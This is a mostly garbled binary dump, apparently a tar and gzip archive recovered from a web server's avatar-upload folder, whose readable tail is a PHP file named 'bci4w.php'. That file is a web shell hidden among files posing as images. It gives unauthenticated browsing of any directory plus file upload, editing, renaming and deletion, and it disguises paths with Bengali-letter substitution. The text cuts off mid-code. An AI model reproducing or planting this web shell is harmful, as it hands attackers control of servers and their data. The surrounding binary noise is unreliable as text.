��1k]j.a4O��
1L���&,uR��Xd#���X�\����]�O�ta�i�[C�Z����1w�����<�vgw���Ӥ]�/^н��X�����9Lj�Zb�[
��Ԩ9���`<k��V^c�=]����f�׮Tkuޚ"�E��aw��J�f<�"�"��oK*���1�J�&�Y͢)���k���K&J4Y�Y��=���q��͔�"��(�O�ZE��L�mD'veIM֔	$�)x��
9Dޥ{p��@�(\��b^|\e2�< �(i|1�7����=-er�Z��t�@|{��-nAK1	ID�U�f$�U�w,dP+)�Tt�j
@�0䄰7!�7�Ѩ�4x����U4c7e�XQ�DNV��6'c��ͼ���*g�R\�SA��έJ/B�vL��L�Ci<*�ƅ]e�:�cU�5œ��/-���%s.?���,�G���+�0��<v �ҕ��d鳞��@z��U�{{��ha�C<Bi�"&1e=<�:�l�(��X�en�
!��*$�S�`n)Ǝ�	K,\�E0�6p�E�Őor
�:�[�����宪��λ�S�Q���e�niu���q�,�9�J��9}��lv�G������^S�΍�o�r�4��|���k��hw��LcU�%�.��U ��B,eX���0��5�F�\P�S�*��g�Xl��
���L͞�CLf��2�9��bRG3*���</�е��06P~Ր#P���bA0�y�U�~�9"�7E���h�Tި���(�t���~a8X	�n�s��<��g1u��v�%9n�>v�W\G��'��\�k�QXŞ�$�S��L�̬���hb]�#��_��,�
Y�~���y�>�gSb<�͝�y _F����D�-u�}x�>���zxO����C���l��Ov�Ĝ����m$�(��O8_��
Ÿ�f渜ucGi�꾲,�f�L`�׺���^��M�P�2�i����
���|8;�2�(�if�pE�M�uF�Gg���?3q+CL�9��6�H�\Z��A�W�̝���9z��%��˨�?�i��M�.�p��,bҠ�}}��ȣ��J�"��H
-�ѩ{j	���  �[SqԿD�'*/"����¦Z2�/�+P4�_68k�`��B.�����m�c/dǢ�x
�8	���2�TFo�JH����2ht8uX&�+d�K�k�l!���^@e�8m��F9�]l�̐��%�Ȋ��4i���p1
���8��.�_X�]���8^	�
}�*O�ڣѹ���ι���T��~���u���܈��6|��Л:���_�)�Bu�!=p�6d�n�C�\�>�u`dN�Ʋ\1���p}�����U(N�UIϻr���e����!Gh˴��h1'[������
��-a��0Y�T*�����	�K2AʓJbѓ��R�O'�5��J�:��;�
���#Cl�D��(���8t�(��d1���--�k���(Df{����G�?������9H�$�����ܮh��R홼Pݮ�A��0�#˕S�嫛�����O"z�)�T���TjS0^P�mx։=�ј��1���%���ɬ'yR㎹2O4����Ғ���D�q�EB��P�;��ұd��;���W�E�kf^�:�gԕ�s�n�<*����F�q�NSPʦ���ù�!(坔���7?Q}.d寚 ����F�Z6J8�s��D�1�\9��jPAc�cX����BhgN��i��T�(���i•눮�*kӄj#Bɓ �v.ӯ̜t�r>��ϕ�����L�I%Wa�s�2(�n�E�j*�2�gPן�FL(w������H��kەuT˞�K�x�cn���,�s�PjQr�#�U(k���r�.9\g�b��Y��8��m�(i���{ ���Nw��`KvBs�C�����}$�g��ɒ%Y��yo��ޓ�s���I���2)$��l�����$\�@ IB� �m>R;$P	I*��t���{�vW�����}o>===�==�=V]1ͦs�xd�]r8R"��|�Z.�-�V.((6o�$W��^^1<9�ށ�o��`�u	���{5���dӡ[Pyb��Ҿ�V̘��jU\�΄�vZLv���K��^B�!�eQ��`Ɏ����w#\p��Mj��n^Og2b���.�0*�Mnɠ�h�v���ʇQC�i�C�*pZ�YB饠�#���VEh��K~�Ã��:�v���;5�p���,�M��%Ɏ=�k9�]�B�f���=�Q�`A}Bi����gw�2l6�{ܸ�?��$��f�F�V�5�֍����n��o��#Ek[�Cd[|�:�̰:x��c4[NJ�M�Kqn�sVmI@U����D0��td$ah�^ĜWӑ�բ��E�Xtj�)@���ah�b�N�I��)!TM�-�x/z6�#D�/�M�:"XEO��b_`qGlL�b���_՜�%�"3f�ˋ"�P�;�S�i�eH�����@����'�!>��D&��˥�jE<]z��]NzB�*�fE|N�ͳ�������px����]w��m��&�Qy�Y2��ڡߏ�jh+2�!������&�(���?�XRIpqM[�C���iKf��9�g;rV|��)�<FRa#e�dNY�u�O/>�`�Q�K
?0ֆ�5��j��r����;Δ{����[;���$�6!�,��y����\��/4�.�&�\ߌ���:W~J����ʓL��HO�Eb��+��W�\�731�t\��I�n:�����6����I�@:�V א��Z�4f�2F,Z�/Kʕ@i�C%n�	�F�Tw!F��Rq!���HQ| X>�T�D�t��3��� 2�e�ĺ���@$��{�RŪ�++��K�԰�+�V�7��o��\4�;�0H/��H;�]`�{�J��M`<�'C���{"�[�*��=R2��nN”�h���e'�+��=���|��a���`�>�L�	�<ļ?�N�d(���r��ig�V_i�t �.�Q���x^v	�c��˩�ӵ\NM_��N�F#�����v�dITzr:ˤ-��,�k:���|B�*���P8�h�O����=O��+ٸ��#�؍fh+X��E�{��<��tx5i�1S�b|�Z˷8�k�y��w?�7����#�'�N��P�S�z��73�hp�¸�3
'��B�+J^#��</��BS�x%��=h1|��e�� :I�����(Ш�d_�3_�8�7�z��)�g�.(ϳ��
������_��E�9�b�Ѿ���%r��?��t������t�E��i�)�ټ1�co��hb�
A�Lw��	����/8�'H���+NR�k�I�$�t��\TƘ�4v��fͶ������rF>dL�U1#�<�
�����DV�E�ʨT
���C����DK���,aȌaÑ�HQ���1
>U��AVV$�߸�F��51�U����R�s�MGN,p�y�Т��
���`���hT;R-�ɦ'W�Z���Ds*1�����]�.�[bl��%�Fr|4� UuztK:�N�Eِ�~�#3�!��F�9}�i&Z�:������]N��4�'�6|�s5�pZ�FMx$D��hK����u
#�0ٍ� t��r�x�N�R^�[�Kf=�v����j���Q�h�°0&O��3���9d��4sk'H��,}%n���]���!��c�ʸpk�1/)�C�W�ݍQ%u�.��
}��j�I�Ϟ9��F��r,������z�CN�^7h��Q�E�g�1!����jBu�r�H`�fΉ���֨Ln��>�s�>xQsnђ#@��VB�/�Df����璀ʻ��i��Tу!;ɚ`K���vr�S��K>7t;��N^�\O�X���p��p'���nn�|�֝ƻ�&gk]Ec���C�����(*�>��G-�˾���LqP&T،�v�.���e��M
��|E��*�4$�g��0�|����LLn�@���(���w+z\l����T�m-���z5�éeVWWS�ᄗh$���0�:
�&�a�?>�KJ��i� /���H��zq%% ��n����V�x|��Eѭ�r�ߊ��r���bz���{.5��
_����G�-am�k�*��]�����vq�+���1���n1�����Iᶏk"�s��p2��I�M�G���e�4ʠ��W�=�N�w�65m$��22��G��o>�] {���7�C0��)��H�_�3�n~cJ�aP�_b��q����D/bѼH/�?�ޙ��m�K�0��k'�KK|�vS˵b��v��JPܱ���~Ȍ}�.�=)�ܠ.� .�P�?Lr8�N�/8U�V�m�_��@B��~�O��0*��8,�,�="2s�;w�޳��}��o9p��C���v��knm~�PtJ�E��J�V_���l��WVO�Ig�#�c㛷lJE�|ln+����`�[L0>g�+��n�-�i���l��I�g�U�]���$�PH�*T�p:���;ӊUT��Lv˱�x����<�N���lj���M�8�m�0Z��y�E�u1^�����|Y���	�ٚ�#R�r$�������4�q#T���8=�x�4���䣬z4*��G#���(��W�2���P
O��8����9�`����k��#&��|���,��(���<���5^1�_�,������橞�^��M���8`sAS���1G��Uu)��e��~ OdrG��v��N�HŤ'l7\XZ��hr�Y�ц�l�Z�5'���D��ȥzsՍf���2�^*�\A�?Qc����@�W&VVV�+#�z��:r(uh�a�c4�5 �O
�_�PV�u�u>7�[�L J����S�M���#xr�M��+���TJ<��T��k�� �������g����ک �G�b4�q�8g�ni~x87Uu��Ά�;��2&���a&��	��ask����Ӛ��Ȯ�-�TNܛH�&��޳�gM�#@/S09A&p�I�讙`����fR�Ʀ���V��k�rB׬&ؒ�N�._򹈮�oڊJ��lO0��.Y�l�GS\\5i�L�y"��²*�Vy/��z&�[��EՄF�α���I�5�$�9�V#	->��m�9a���b�(��[8���������DL���<�1���c�u��V}���i�\5�5��Q;�ғ�!&YG�L��&��Q�q�g���T8ȴ��	�c-���z#	7�͔��L��զ�h�9���R,���ޝ,��pxn�Wɒ��ĩ"Qy˱��|�,�')&u��s����<7���%S�ݐJ��%�Ϊk����Ck8�~t��W;P�S����I�x�)&p����I��u
RrF�t4��*Iqޮ��s�M�əb���wI��\��*����	P�V���I<�Q��T�$�Z�?i��ηC=���$xY�'�<*�N?9O+�gV0�{��BGCFu����5��;�V�>o��>�դ@e��?�_5q����`��§R�.�c�X+�?g�(&DZ_�M�"�㮞�P�#�B�ѻ'�}_@�C�j -������m�>�r�����p�y�6�����`'��G�'8\!�,,����3�oO�k�6i?B�UqVq��6[tt�tD!u��d� �c"JF�Q���}��
�%4��U�t��y'��.��!Dpr��[�3ϱC�:�3�����a:.�5��lE�R�,חx���G�K���BB,��N0�C�b�.E�8W7Os�'�"
<�����x���s5/ޗX�~4���|�<�C[�������Q�6(�9n�ш��<�H)��Ы�M{�1�������v��4�0Θ���dM���8��YBW�+�?�����b�����h�7�Qg&9#+0Л��-fT֥zQ��oe��Zs��3"Z�(@�ej��/����Ka4�:�VO�xp�H>��A���
~(���sbPE��ԯri<��X���d�ߖ����ᖺ��3�>Us�41�+�_���aAPW��
,v'$�](��~@瀄�l��ᔢ:�L��C�hHGqE����jn�:�敋M@Bx$�����#.-i2�'U<S��hᕖL-7O��>�*Հ���s��H4�8�V��f*����5�\'1A΢�,P1[�*Ң�)�^cEģ�op�K��C�V6������5ܔ]����.��J�eշk�uO�8F�A��L�p2��e;�`�i6�eRpŕZ;���!Ar+*�J�1�B�Z�+�t㐀W�NF�d��Ut�	��橚v���C]�F_6��f�6��Ď(5٧٧xE~r~u������e�L{%���@Zԑ��E�<҅ �-�)X���t���'����qP�?ݩ`}x�w�4�kQ�9>��kY���J�.���5�l�����m-:`�5��v���N�m_k�}Ƴ?�j���Ѝ�Q6��[+�
��p2��S�I�77�s���D}���^�=���]�b&OO�,߼��d�5C��>��4���F��8�z�-Kɇ��
e&`2��>3Lk*nL��R@�����[)�{��{Q�
%��ךG�6R��B���҈�(o�J_��V��f-������;>ϊ�NN��im�6B(�
:�2�#���R�4��[`=�݈Z&0ɼ�x篭5ڽ� M$v����0�&�����UP��{�5���A��T(}��u�<��Y��Dw?RZ�
�"��N�v�N�-1J	x;Bo�Iz?��r���&8��+��ɔ�Q�ރ)��I�Y�b>��h���OMXPD.I�9���ص���O�����Te�L�TɗE�YN�XF�X�*p5�Wh�A�Y�) w���
�4���ߧU�)�5MU�7�/
bL2?�u���H�H�%�d�>�ث������%1�zHO�O��!m�A��ۈ��4���������ba<J���s�r�ۣ)����Xpri�"�C�E���X5n#��u�����Rdݲ+�Q�K[9Bo�J�`�U�� �
�e'_:�Pi�\D'cXI��Zm�d�Ǻ�/��t�`�;HF�B��!�b��#B��N��ٺ�M��L��#�u���rLa��X�C�=�O0���>nG���v�Y�xx����&�Ƣ���u����܀���U�'Y�OjP�1����f�lY�f��%��"���=b�E�A�Ф	l�b����G=������"8x�@8� ���Cz�$�d��0��u������UW��&mʨ��ӲV>��PD4C���f������M�ȳИd�قPS=V��J
7�
Ido���i{����8�� ^[�w�$43ώIq~�~���R�S�Q�;�k E�9�K��a�N��&��Mf�An0��_����2
�==���h�����]]�D�����a��F�pK�vpk�V�9�v����yFx��U��(2m����Hc���Ma�f�*�W,�;3�E�nUzh��(���ٱ����ަD���x�1����Qi^���r����A�fH�b�|&��(N�T�E��e'�"�Vn��K�5���_`���?��K
��S�T~��/��T>+�_R��l�zɖEwEg��?Yo��n��@��9e�1�.�Z;�B��9�3�ŵ���,p���#�)e�e��}�B�������!���a�KR��Χ�X��+�M��yӯ�R����r�"쨱`�H�z@[]&��Ľ�1v��J�jK�R]��WH�+4o=�V:�
�y`icҽ٪�d,���0�����d(�����X`<�������ɡ����������BK��v_��F�,ǶnE#|R)��f:<�����<E �$���L��³tAZ����pk�R,��L�	��|����Aatg
�5��u5�[���񿸑�;�bl{�Rhc�d��l (��:4T�,&�PP��$�����
���0��[�<�$eTBeHح�ۂ��p���b�
IB�{�x��F9�'��~�	O{?te-�?F[IL��C�#m9M/<p�.�G��փ+ռ�Ў
�2�ad��xܤa-ڈbm�l[��Yn���R��Y�����A���/��{9uk�*�RlY�#�\��'��&PAm��=R�pFT���	m�s _���G��R�3�i�d���˥��\�jź��ִ�'�j����7��0چbKN��qy��׈=>:�[�1,���	/��|P�QJ\�ޤ�,mN�Y�ng�|ܶ7V��e�=���:��B-��>c�`q鳺�,l-i�>{�\W�Z��v7PXm�v��1V���YGݳr�f�,'4�۞��QUy"�*��5����Q�YM�PU��o��b����=
X�YV6���q�W>����,zDJ\%
Cn������PpI�j	������1i}o=/���
�Wjz��W�Q.���	�u�W����Ri���_�@�)+ć1��
Pd@����a�e5�D�z��m;3U^��!͇���n��ԦL����w����?�qKWk��Jf�I��Y�3yQnB��iUM7"um~G��g]�3���n�;�������ɥ2�G�Ƃ�/����Q�s��d3�>�{&�e�g�N�6��]�o���{^L_�ڗx<�J}�ob��؁�g���T�B���{ {4���/H�K�Ml����G7��n���g3�>��#����UW��S_��?�r��<p�g���_�{^�M�_������c��<u��\�̶;��~����bqϺ��r���}��s���?x��[�?�_�W];z�=#?x|�ԟ}���p���?��j�}�C_z�����ﻦ�ݷ��Ci��;
�r�;���ַ���˾��7�~���/����w���|�𱃏��󏥿�D&=�ɜ?��>����F�3/����܅>�>��P�wb���#�_ox�̹��<��o��7�=w��s�z�eW����]Gw���W�p��K�^1���u�~���ܸ�Tڸ�t��
���7�<w۞�=�K��������M?��o�h��ɻfn�t��o����ν��m�������ɗ�*_wl�����7�=���s(�q�������{�9:��>�ѕ����y�GJ_|�C�w9�����?x����c��'���7o��Wn��ߞx�#��uz�?>����������wx�}���?���o�]ϼ��/���۩�6�6,�����x��gn��~�W銯]�7��_ܺ��__=w�k[�}���v&3���?x����my���F�䯯~擟��g>��M�f�<��ߺ���
�����^��ޚ���؍��}�#׭����?���<��������V�PK!V�

4yd0ui/67e272a89d6f9.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67e272a89d6f9.jpg000075500000001567000000000000017735 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!��r��#4yd0ui/67c1be3c7f0cd.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6LJ5N6O3HN��*Hg �����8����� d�+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@�5k
PK!�{���#4yd0ui/674dc9a7e6beb.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�737II�L4O5KJM��*Hg �����8����� d�)a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��Ƹ�������������FNNNn	^^	#EE#����))̌JL��̂���0�300�2�,��YX��98���
�
001233�0����ek��,��B���l��J�"F�r(;m<(t�qRQ'������������	0U[XZ9����{xz����GDF%+=#3����������������k��)S�M�1s֢�K�.[�b�M��lݶ}��]�9z���.]�r��7o=|���g�_�|����/_�}����_�̌0��_�@1��0������TR �ªh�&�ȞX(�d��!�4q�ƃ���AD��.r���<T���g�y��,��=���-fF`�12�3��ץ��i�c��7(���Q0
F�g*
PK!|�jƉ�#4yd0ui/67e272b25bcec.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J22MJNM��*Hg �����8����� d�(a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@���
PK!���!!4yd0ui/b3vd5z.tar.gznu�[������r�Fr��j�a�՚TY$�ۑHzeI���c˒r�r����	�Q�Ɵ����)�=�L�M�*����s��ŷ��`���;[[��[������x��llm���4=�PR$����G���ׇ�?�9&#�:ݿ���g�Po�1�g��Ǩ
#G�e�kDE�dǸ8�xb䞍��&����A��w*y�a�|O2&�<�0{��S=겎q��8��@��-G��r�5�����:�Т�7[S\�K�u��ڦ��]��`���L�{�i�^�*���oE�c�������߷���V�:����6�i�a���r�	w"��1B9qX8bL�"D
.'�|D7�l5N�9�O�ۃg�����כ����;��������Ko���i�Cl��9>9�_�����]�=:ع��^����C�u�������Y�hV�i9~d*X��]�^�;�����t�B�e�jAINg*s������������	���ǁuq�w��9}���y������o��ƒ�p�N��Ip��yc�5?��6�g���W/�'Wg���oyH��N'C�B ��	�D�;��<���2��n��þoO�H��)�A�З�9�<Kr�����¥�d`�a}�?�,\�P�̨e@�g��!���ݭ�'[�Y <b��"��DOH暙�kdc�4I��<��H>愬Ho����/ ��M)�Z��/�)#�W�� ����Q���:�%P�b��Yk�O���Hx1x�)��Ԯ�Î� �pU_��Y��Q�Q"P~�	
�Fj���H8��K��
w�(�N�
���Fz�x��U0�'��};Hn�@����V�Ƭ������~JlLo�ݢ��W�`O�0���V����!}�3Q/�ev��	��&a@t�E��ƌq���9��c@�D@pA��A?ݶɻ�����#I-�A]�VBbD]bX	��XJ@	3�A~��d�,H�/�g��,`ٞ/[��g�^�XX�"��G�{=m2HgM���bDF��
w鐅�	f-�Z�0gs1��N.�=�>�S�="u�|nAeّ/}�M��Qȭ-a���O��C��r\U�i97DUT;�l�e����
���
�����K� hbx���&����\?����!��?�[���O��MH��=��Z��B���S̤�"Ǵ�`L#�t��Z[P���1P�^��b8�!�+�����ZP��w�`n '��D�5”N��~�Þ�E=�������n�CK�@v/=�e��׎�`��ń��BD�d6k&����B;�~��s��MǷ(�]3�Y�z�6c�9g"�r+%��xC�JF�7e�����"���B�=�b-�����-䜧Ԓbp�
 �׍7�/4yD�i�kиx�6	N0�CN�'H	�4{���}j]�yvÂ�H쑿������b��<:d�Oi�4>��Y���J;�!�����Ɓq�C]�Ě��n��lA�ɐ=�0tR�^K�Z��6����Գ&���*P,P�]���
"��`��zKC�l��Xaз�3�7}�٥V#��9Қ]z|RDl���De�؝yitM�(���r(�E\���{��ɣ�g��R'�[� iwP@>~\�Y�ŀ���X�����)ۜ|�PN9�P.�~^�Ѐ��7A(Рi�$�L���%c���VGhȩG`4�~tө�H8:7�3)Z�jJ�P���(�ڗ�_æ�� r�)�{���P�M}3���ssK�w_�~u��D2����؁�Kq�~Ms�$80a�� �%9%�@���ܞ߿BG� D@��zf
�;6i9��+��RD��SS�Slu��U���d�<J\��&�L{l�B�}�hCH�C&�$3gU�J� 
!���[����X��e	�����T��z
&�_}��#�;U�Cdv�X�n��!��	����7�ߑ�J�p��ʷ��3{.�&�p.ā*��00�|�D���7k�8�Xo�h�z\g�Y���i�Q�u
MM��H?/�a5UL��薄Y}+	� ����m4�fMbS	��9�������Gs%w��3�ZoiaUeI���ZU�Y#���JƧcJ��N�-×�Di7�|$:-�
K��e�y
�7›�
�Kg�"GG�arY��!R�pT��1�ͼN
�^���-�"3g�Z�neӸ���EOM�-l@*Ypg�h�9��v�\-C���Ŵ�����23�O��m6o%�6���X�PX��*�h���4�Y�
ݧ����7t�R��s�e\(�����0WN{��.��+�@-p����#u�\�ד
@ɍ�I\&G>�6�C�>A���u#Gr��MU���Q#��3XAK*$�'��^��ͽ �q��6��W�8>�u�mn�t+P���\����:�$H5�(�������+M��o�6����"�:#���*�Iv'��*��c�\���W�Os�P��\Y�$�x���Dx��ô��T�҂��Q��ܵ�TMu��R��o�i�m܌#�\)c�
AU�����:�AC��-+�A��k�T٧��{�U��J�RM6��>��n�����j+k�|��~b�:����ۭ0`��� FU�!����]	4�ʚ9y�� ��,d��_�zg�v�x��K���o]ԨʑO+����G��f�
/��]y0�s}�x������Xp��Ԅ5��޴�X<�6^�|���e�r���XY�79�9�Z�$���X��.���/�>>{�Ϸ���a?�Ȯ�z����*�
z�Z����7�Aߥ<�O�8��gTW�d�L��m&L6�f�ۮ����™/�d�����b��7$?�ƙE�,MU%a/���C�V\�t�f�j�0­��*�j��6����@٦:��i�S�br[�U�n�w,��XB��K��J����>=7��j�>���|�#�_�� �����=ǻ;7oGׯ�}�o����φ��N 6�_9���N{ѻg����o�
��nt��������cw�l(�_3�M�5��q�����C���h�2PK!��᠉�#4yd0ui/67c6da0a349ea.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O6KI4H46�LM��*Hg �����8����� d��+a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@t8��
PK!��h�224yd0ui/b3vd5z.tarnu�[���bci4w.php000064400000025735000000000000006242 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
